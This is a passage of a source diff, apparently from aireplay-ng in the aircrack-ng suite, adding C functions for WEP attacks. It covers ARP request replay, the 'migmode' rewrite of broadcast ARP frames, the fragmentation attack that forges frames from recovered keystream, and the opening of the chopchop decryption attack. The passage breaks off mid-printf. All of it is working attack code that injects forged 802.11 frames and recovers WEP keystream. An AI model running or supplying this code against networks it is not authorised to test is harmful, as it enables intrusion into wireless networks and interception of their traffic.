+						nb_arp_tot++;
+						continue;
+					}
+
+					break;
+				}
+				default:
+					continue;
+			}
+
+			//             h80211[0] = 0x08;   /* normal data */
+
+			/* if same IV, perhaps our own packet, skip it */
+
+			for (i = 0; i < nb_arp; i++)
+			{
+				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
+					break;
+			}
+
+			if (i < nb_arp) continue;
+
+			if (caplen > 128) continue;
+			/* add the ARP request in the ring buffer */
+
+			nb_arp_tot++;
+
+			/* Ring buffer size: by default: 8 ) */
+
+			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
+				continue;
+			else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
+				continue;
+			else
+			{
+
+				if ((arp[nb_arp].buf = malloc(128)) == NULL)
+				{
+					perror("malloc failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				memset(flip, 0, 4096);
+
+				//                 flip[49-24-4] ^= ((rand() % 255)+1); //flip
+				//                 random bits in last byte of sender MAC
+				//                 flip[53-24-4] ^= ((rand() % 255)+1); //flip
+				//                 random bits in last byte of sender IP
+				flip[z + 21]
+					^= (rand_u8()
+						+ 1); // flip random bits in last byte of sender MAC
+				flip[z + 25]
+					^= (rand_u8()
+						+ 1); // flip random bits in last byte of sender IP
+
+				add_crc32_plain(flip, caplen - z - 4 - 4);
+				for (i = 0; i < caplen - z - 4; i++)
+					(h80211 + z + 4)[i] ^= flip[i];
+
+				memcpy(arp[nb_arp].buf, h80211, caplen);
+				arp[nb_arp].len = caplen;
+				arp[nb_arp].hdrlen = z;
+				nb_arp++;
+
+				pkh.tv_sec = tv.tv_sec;
+				pkh.tv_usec = tv.tv_usec;
+				pkh.caplen = caplen;
+				pkh.len = caplen;
+
+				n = sizeof(pkh);
+
+				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				n = pkh.caplen;
+
+				if (fwrite(h80211, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				fflush(f_cap_out);
+			}
+		}
+	}
+	fclose(f_cap_out);
+	return (0);
+}
+
+static int do_attack_migmode(void)
+{
+	int nb_bad_pkt;
+	int arp_off1, arp_off2;
+	int i, n, caplen, nb_arp, z;
+	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
+	unsigned char flip[4096];
+	unsigned char senderMAC[6];
+
+	time_t tc;
+	float f, ticks[3];
+	struct timeval tv;
+	struct timeval tv2;
+	struct tm * lt;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+	struct ARP_req * arp;
+
+	if (opt.ringbuffer)
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+	else
+		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
+
+	if (arp == NULL) return 1;
+
+	/* capture only WEP data to broadcast address */
+
+	opt.f_type = 2;
+	opt.f_subtype = 0;
+	opt.f_iswep = 1;
+	opt.f_fromds = 1;
+
+	if (getnet(_wi_in,
+			   NULL,
+			   1,
+			   1,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+	{
+		free(arp);
+		return 1;
+	}
+
+	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-b).\n");
+		free(arp);
+		return (1);
+	}
+	/* create and write the output pcap header */
+
+	gettimeofday(&tv, NULL);
+
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("Saving ARP requests in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(arp);
+		return (1);
+	}
+
+	n = sizeof(struct pcap_file_header);
+
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		free(arp);
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	fflush(f_cap_out);
+
+	printf("You should also start airodump-ng to capture replies.\n");
+	printf("Remember to filter the capture to only keep WEP frames: ");
+	printf(" \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
+	// printf( "Remember to filter the capture to keep only broadcast From-DS
+	// frames.\n");
+
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			free(arp);
+			fclose(f_cap_out);
+			return (1);
+		}
+	}
+
+	memset(ticks, 0, sizeof(ticks));
+
+	tc = time(NULL) - 11;
+
+	nb_pkt_read = 0;
+	nb_bad_pkt = 0;
+	nb_ack_pkt = 0;
+	nb_arp = 0;
+	nb_arp_tot = 0;
+	arp_off1 = 0;
+	arp_off2 = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
+
+		if (dev.fd_rtc >= 0)
+		{
+			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
+
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
+				   "sent %lu packets...(%d pps)\r",
+				   nb_pkt_read,
+				   nb_arp_tot,
+				   nb_ack_pkt,
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* threshold reach, send one frame */
+
+			ticks[2] = 0;
+
+			if (nb_arp > 0)
+			{
+				if (nb_pkt_sent == 0) ticks[0] = 0;
+
+				if (send_packet(_wi_out,
+								arp[arp_off1].buf,
+								(size_t) arp[arp_off1].len,
+								kRewriteDuration)
+					< 0)
+				{
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent)
+				{
+					if (send_packet(_wi_out,
+									arp[arp_off1].buf,
+									(size_t) arp[arp_off1].len,
+									kRewriteDuration)
+						< 0)
+					{
+						free(arp);
+						fclose(f_cap_out);
+						return (1);
+					}
+				}
+
+				if (++arp_off1 >= nb_arp) arp_off1 = 0;
+			}
+		}
+
+		/* read a frame, and check if it's an ARP request */
+
+		if (opt.s_file == NULL)
+		{
+			gettimeofday(&tv, NULL);
+
+			caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+			if (caplen < 0)
+			{
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+			if (caplen == 0) continue;
+		}
+		else
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4); //-V1032
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		/* check if it's a disas. or deauth packet */
+
+		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
+			&& !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_bad_pkt++;
+
+			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
+			{
+				erase_line(0);
+				printf("Notice: got a deauth/disassoc packet. Is the "
+					   "source MAC associated ?\n");
+
+				tc = time(NULL);
+				nb_bad_pkt = 0;
+			}
+		}
+
+		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
+		{
+			nb_ack_pkt++;
+		}
+
+		/* check if it's a potential ARP request */
+
+		opt.f_minlen = opt.f_maxlen = 68;
+
+		if (filter_packet(h80211, caplen) == 0) goto add_arp;
+
+		opt.f_minlen = opt.f_maxlen = 86;
+
+		if (filter_packet(h80211, caplen) == 0)
+		{
+		add_arp:
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			switch (h80211[1] & 3)
+			{
+				case 2: /* FromDS */
+				{
+					if (memcmp(h80211 + 4, BROADCAST, 6) == 0)
+					{
+						/* backup sender MAC */
+
+						memset(senderMAC, 0, 6);
+						memcpy(senderMAC, h80211 + 16, 6);
+
+						/* rewrite to a ToDS packet */
+
+						memcpy(h80211 + 4, opt.f_bssid, 6);
+						memcpy(h80211 + 10, opt.r_smac, 6);
+						memcpy(h80211 + 16, BROADCAST, 6);
+
+						h80211[1] = 0x41; /* ToDS & WEP  */
+					}
+					else
+					{
+						nb_arp_tot++;
+						continue;
+					}
+
+					break;
+				}
+				default:
+					continue;
+			}
+
+			//             h80211[0] = 0x08;   /* normal data */
+
+			/* if same IV, perhaps our own packet, skip it */
+
+			for (i = 0; i < nb_arp; i++)
+			{
+				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
+					break;
+			}
+
+			if (i < nb_arp) continue;
+
+			if (caplen > 128) continue;
+			/* add the ARP request in the ring buffer */
+
+			nb_arp_tot++;
+
+			/* Ring buffer size: by default: 8 ) */
+
+			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
+				continue;
+			else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
+				continue;
+			else
+			{
+
+				if ((arp[nb_arp].buf = malloc(128)) == NULL)
+				{
+					perror("malloc failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				memset(flip, 0, 4096);
+
+				/* flip the sender MAC to convert it into the source MAC  */
+				flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
+				flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
+				flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
+				flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
+				flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
+				flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
+				flip[25] ^= (rand_u8()
+							 + 1); // flip random bits in last byte of sender IP
+
+				add_crc32_plain(flip, caplen - z - 4 - 4);
+				for (i = 0; i < caplen - z - 4; i++)
+				{
+					(h80211 + z + 4)[i] ^= flip[i];
+				}
+
+				memcpy(arp[nb_arp].buf, h80211, caplen);
+				arp[nb_arp].len = caplen;
+				arp[nb_arp].hdrlen = z;
+				nb_arp++;
+
+				pkh.tv_sec = tv.tv_sec;
+				pkh.tv_usec = tv.tv_usec;
+				pkh.caplen = caplen;
+				pkh.len = caplen;
+
+				n = sizeof(pkh);
+
+				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				n = pkh.caplen;
+
+				if (fwrite(h80211, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				fflush(f_cap_out);
+			}
+		}
+	}
+
+	return (0);
+}
+
+static int do_attack_cfrag(void)
+{
+	int caplen, n;
+	struct timeval tv;
+	struct timeval tv2;
+	float f, ticks[3];
+	unsigned char bssid[6];
+	unsigned char smac[6];
+	unsigned char dmac[6];
+	unsigned char keystream[128];
+	unsigned char frag1[128], frag2[128], frag3[128];
+	unsigned char clear[4096], final[4096], flip[4096];
+	int isarp;
+	int z, i;
+
+	opt.f_fromds = 0;
+
+read_packets:
+
+	if (capture_ask_packet(&caplen, 0) != 0) return (1);
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+
+	if (caplen < z)
+	{
+		goto read_packets;
+	}
+
+	if (caplen > 3800)
+	{
+		goto read_packets;
+	}
+
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, h80211 + 16, 6);
+			memcpy(dmac, h80211 + 4, 6);
+			memcpy(smac, h80211 + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, h80211 + 4, 6);
+			memcpy(dmac, h80211 + 16, 6);
+			memcpy(smac, h80211 + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, h80211 + 10, 6);
+			memcpy(dmac, h80211 + 4, 6);
+			memcpy(smac, h80211 + 16, 6);
+			break;
+		default:
+			memcpy(bssid, h80211 + 10, 6);
+			memcpy(dmac, h80211 + 16, 6);
+			memcpy(smac, h80211 + 24, 6);
+			break;
+	}
+
+	memset(clear, 0, 4096);
+	memset(final, 0, 4096);
+	memset(flip, 0, 4096);
+	memset(frag1, 0, 128);
+	memset(frag2, 0, 128);
+	memset(frag3, 0, 128);
+	memset(keystream, 0, 128);
+
+	/* check if it's a potential ARP request */
+
+	// its length 68-24 or 86-24 and going to broadcast or a unicast mac (even
+	// first byte)
+	if ((caplen - z == 68 - 24 || caplen - z == 86 - 24)
+		&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
+	{
+		/* process ARP */
+		printf("Found ARP packet\n");
+		isarp = 1;
+		// build the new packet
+		set_clear_arp(clear, smac, dmac);
+		set_final_arp(final, opt.r_smac);
+
+		for (i = 0; i < 14; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		//         h80211[0] = 0x08;    //data
+		if ((h80211[1] & 3) == 0x00) // ad-hoc
+		{
+			h80211[1] = 0x40; // wep
+			memcpy(h80211 + 4, smac, 6);
+			memcpy(h80211 + 10, opt.r_smac, 6);
+			memcpy(h80211 + 16, bssid, 6);
+		}
+		else // tods
+		{
+			if (opt.f_tods == 1)
+			{
+				h80211[1] = 0x41; // wep+ToDS
+				memcpy(h80211 + 4, bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, smac, 6);
+			}
+			else
+			{
+				h80211[1] = 0x42; // wep+FromDS
+				memcpy(h80211 + 4, smac, 6);
+				memcpy(h80211 + 10, bssid, 6);
+				memcpy(h80211 + 16, opt.r_smac, 6);
+			}
+		}
+		h80211[22] = 0xD0; // frag = 0;
+		h80211[23] = 0x50;
+
+		// need to shift by 10 bytes; (add 1 frag in front)
+		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
+		frag1[z + 4 + 8] = 0x00;
+		frag1[z + 4 + 9] = 0x01; // ethernet
+		add_crc32(frag1 + z + 4, 10);
+		for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
+		/* frag1 finished */
+
+		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
+
+		add_crc32_plain(flip, caplen - z - 4 - 4);
+
+		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
+		h80211[22] = 0xD1; // frag = 1;
+
+		// ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen
+	}
+	else
+	{
+		/* process IP */
+		printf("Found IP packet\n");
+		isarp = 0;
+		// build the new packet
+		set_clear_ip(
+			clear,
+			caplen - z - 4 - 8
+				- 4); // caplen - ieee80211header - IVIDX - LLC/SNAP - ICV
+		set_final_ip(final, opt.r_smac);
+
+		for (i = 0; i < 8; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		//         h80211[0] = 0x08;    //data
+		if ((h80211[1] & 3) == 0x00) // ad-hoc
+		{
+			h80211[1] = 0x40; // wep
+			memcpy(h80211 + 4, smac, 6);
+			memcpy(h80211 + 10, opt.r_smac, 6);
+			memcpy(h80211 + 16, bssid, 6);
+		}
+		else
+		{
+			if (opt.f_tods == 1)
+			{
+				h80211[1] = 0x41; // wep+ToDS
+				memcpy(h80211 + 4, bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, smac, 6);
+			}
+			else
+			{
+				h80211[1] = 0x42; // wep+FromDS
+				memcpy(h80211 + 4, smac, 6);
+				memcpy(h80211 + 10, bssid, 6);
+				memcpy(h80211 + 16, opt.r_smac, 6);
+			}
+		}
+		h80211[22] = 0xD0; // frag = 0;
+		h80211[23] = 0x50;
+
+		// need to shift by 12 bytes;(add 3 frags in front)
+		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
+		memcpy(frag2, h80211, z + 4); // copy 80211 header and IV
+		memcpy(frag3, h80211, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		frag2[1] |= 0x04; // more frags
+		frag3[1] |= 0x04; // more frags
+
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4); //-V512
+		add_crc32(frag1 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
+
+		memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
+		add_crc32(frag2 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
+		frag2[22] = 0xD1; // frag = 1;
+
+		frag3[z + 4 + 0] = 0x00; //-V525
+		frag3[z + 4 + 1] = 0x01; // ether
+		frag3[z + 4 + 2] = 0x08; // IP
+		frag3[z + 4 + 3] = 0x00;
+		add_crc32(frag3 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
+		frag3[22] = 0xD2; // frag = 2;
+		/* frag1,2,3 finished */
+
+		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
+
+		add_crc32_plain(flip, caplen - z - 4 - 4);
+
+		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
+		h80211[22] = 0xD3; // frag = 3;
+
+		// ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen
+	}
+
+	/* loop resending the packet */
+
+	/* Check if airodump-ng is running. If not, print that message */
+	printf("You should also start airodump-ng to capture replies.\n\n");
+
+	signal(SIGINT, sighandler);
+	ctrl_c = 0;
+
+	memset(ticks, 0, sizeof(ticks));
+
+	nb_pkt_sent = 0;
+
+	while (1)
+	{
+		if (ctrl_c) goto read_packets;
+
+		/* wait for the next timer interrupt, or sleep */
+
+		if (dev.fd_rtc >= 0)
+		{
+			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / (float) RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / (float) RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / (float) RTC_RESOLUTION);
+		}
+
+		/* update the status line */
+
+		if (ticks[1] > (float) RTC_RESOLUTION / 10.f)
+		{
+			ticks[1] = 0;
+			printf("\rSent %lu packets...(%d pps)",
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+			erase_line(0);
+			printf("\r");
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
+
+		/* threshold reached */
+
+		ticks[2] = 0;
+
+		if (nb_pkt_sent == 0) ticks[0] = 0;
+
+		if (isarp)
+		{
+			if (send_packet(
+					_wi_out, frag1, (size_t) z + 4 + 10 + 4, kRewriteDuration)
+				< 0)
+				return (1);
+			nb_pkt_sent--;
+		}
+		else
+		{
+			if (send_packet(
+					_wi_out, frag1, (size_t) z + 4 + 4 + 4, kRewriteDuration)
+				< 0)
+				return (1);
+			if (send_packet(
+					_wi_out, frag2, (size_t) z + 4 + 4 + 4, kRewriteDuration)
+				< 0)
+				return (1);
+			if (send_packet(
+					_wi_out, frag3, (size_t) z + 4 + 4 + 4, kRewriteDuration)
+				< 0)
+				return (1);
+			nb_pkt_sent -= 3;
+		}
+		if (send_packet(_wi_out, h80211, (size_t) caplen, kRewriteDuration) < 0)
+			return (1);
+	}
+
+	return (0);
+}
+
+static int do_attack_chopchop(void)
+{
+	float f, ticks[4];
+	int i, j, n, z, caplen, srcz;
+	int data_start, data_end, srcdiff, diff;
+	int guess, is_deauth_mode;
+	int nb_bad_pkt;
+	int tried_header_rec = 0;
+
+	unsigned char b1 = 0xAA;
+	unsigned char b2 = 0xAA;
+
+	FILE * f_cap_out;
+	long nb_pkt_read;
+	unsigned long crc_mask;
+	unsigned char * chopped;
+
+	unsigned char packet[4096];
+
+	time_t tt;
+	struct tm * lt;
+	struct timeval tv;
+	struct timeval tv2;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+
+	if (getnet(_wi_in,
+			   NULL,
+			   1,
+			   0,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	rand_init();
+
+	if (capture_ask_packet(&caplen, 0) != 0) return (1);
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	srcz = z;
+
+	if ((unsigned) caplen > sizeof(srcbuf)
+		|| (unsigned) caplen > sizeof(h80211))
+		return (1);
+
+	if (opt.r_smac_set == 1)
+	{
+		// handle picky APs (send one valid packet before all the invalid ones)
+		memset(packet, 0, sizeof(packet));
+
+		memcpy(packet, NULL_DATA, 24);
+		memcpy(packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+		memcpy(packet + 10, opt.r_smac, 6);
+		memcpy(packet + 16, opt.f_bssid, 6);
+
+		packet[0] = 0x08; // make it a data packet
+		packet[1] = 0x41; // set encryption and ToDS=1
+
+		memcpy(packet + 24, h80211 + z, (size_t) caplen - z);
+
+		if (send_packet(
+				_wi_out, packet, (size_t) caplen - z + 24, kRewriteDuration)
+			!= 0)
+			return (1);
+		// done sending a correct packet
+	}
+
+	/* Special handling for spanning-tree packets */
+	if (memcmp(h80211 + 4, SPANTREE, 6) == 0
+		|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
+	{
+		b1 = 0x42;
+		b2 = 0x42;
+	}
+
+	printf("\n");
+
+	/* chopchop operation mode: truncate and decrypt the packet */
+	/* we assume the plaintext starts with  AA AA 03 00 00 00   */
+	/* (42 42 03 00 00 00 for spanning-tree packets)            */
+
+	memcpy(srcbuf, h80211, caplen);
+
+	/* setup the chopping buffer */
+
+	n = caplen - z + 24;
+
+	if ((chopped = (unsigned char *) malloc(n)) == NULL)
+	{
+		perror("malloc failed");
+		return (1);
+	}
+
+	memset(chopped, 0, n);
+
+	data_start = 24 + 4;
+	data_end = n;
+	srcdiff = z - 24;
+
+	chopped[0] = 0x08; /* normal data frame */
+	chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */
+
+	/* copy the duration */
+
+	memcpy(chopped + 2, h80211 + 2, 2);
+
+	/* copy the BSSID */
+
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			memcpy(chopped + 4, h80211 + 16, 6);
+			break;
+		case 1:
+			memcpy(chopped + 4, h80211 + 4, 6);
+			break;
+		case 2:
+			memcpy(chopped + 4, h80211 + 10, 6);
+			break;
+		default:
+			memcpy(chopped + 4, h80211 + 10, 6);
+			break;
+	}
+
+	/* copy the WEP IV */
+
+	memcpy(chopped + 24, h80211 + z, 4);
+
+	/* setup the xor mask to hide the original data */
+
+	crc_mask = 0;
+
+	for (i = data_start; i < data_end - 4; i++)
+	{
+		switch (i - data_start)
+		{
+			case 0:
+				chopped[i] = b1 ^ 0xE0;
+				break;
+			case 1:
+				chopped[i] = b2 ^ 0xE0;
+				break;
+			case 2:
+				chopped[i] = 0x03 ^ 0x03;
+				break;
+			default:
+				chopped[i] = 0x55 ^ (i & 0xFF);
+				break;
+		}
+
+		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8UL)
+				   ^ ((unsigned long) chopped[i] << 24UL);
+	}
+
+	for (i = 0; i < 4; i++)
+		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8);
+
+	chopped[data_end - 4] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 3] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 2] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 1] = crc_mask;
+	crc_mask >>= 8;
+
+	for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i + srcdiff];
+
+	data_start += 6; /* skip the SNAP header */
+
+	/* if the replay source mac is unspecified, forge one */
+
+	if (opt.r_smac_set == 0)
+	{
+		is_deauth_mode = 1;
+
+		opt.r_smac[0] = 0x00;
+		opt.r_smac[1] = rand_u8() & 0x3E;
+		opt.r_smac[2] = rand_u8();
+		opt.r_smac[3] = rand_u8();
+		opt.r_smac[4] = rand_u8();
+
+		memcpy(opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+	}
+	else
+	{
+		is_deauth_mode = 0;
+
+		opt.r_dmac[0] = 0xFF;
+		opt.r_dmac[1] = rand_u8() & 0xFE;
+		opt.r_dmac[2] = rand_u8();
+		opt.r_dmac[3] = rand_u8();
+		opt.r_dmac[4] = rand_u8();
+	}
+
+	/* let's go chopping */
+
+	memset(ticks, 0, sizeof(ticks));
+
+	nb_pkt_read = 0;
+	nb_pkt_sent = 0;
+	nb_bad_pkt = 0;
+	guess = 256;
+
+	tt = time(NULL);
+
+	alarm(30);
+
+	signal(SIGALRM, sighandler);
+
+	if (opt.port_in <= 0)
+	{
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			free(chopped);
+			return (1);
+		}
+	}
+
+	while (data_end > data_start)
+	{
+		if (alarmed)
+		{
+			printf("\n\n"
+				   "The chopchop attack appears to have failed. Possible "
+				   "reasons:\n"
+				   "\n"
+				   "    * You're trying to inject with an unsupported chipset "
+				   "(Centrino?).\n"
+				   "    * The driver source wasn't properly patched for "
+				   "injection support.\n"
+				   "    * You are too far from the AP. Get closer or reduce "
+				   "the send rate.\n"
+				   "    * Target is 802.11g only but you are using a Prism2 or "
+				   "RTL8180.\n"
+				   "    * The wireless interface isn't setup on the correct "
+				   "channel.\n");
+			if (is_deauth_mode)
+				printf("    * The AP isn't vulnerable when operating in "
+					   "non-authenticated mode.\n"
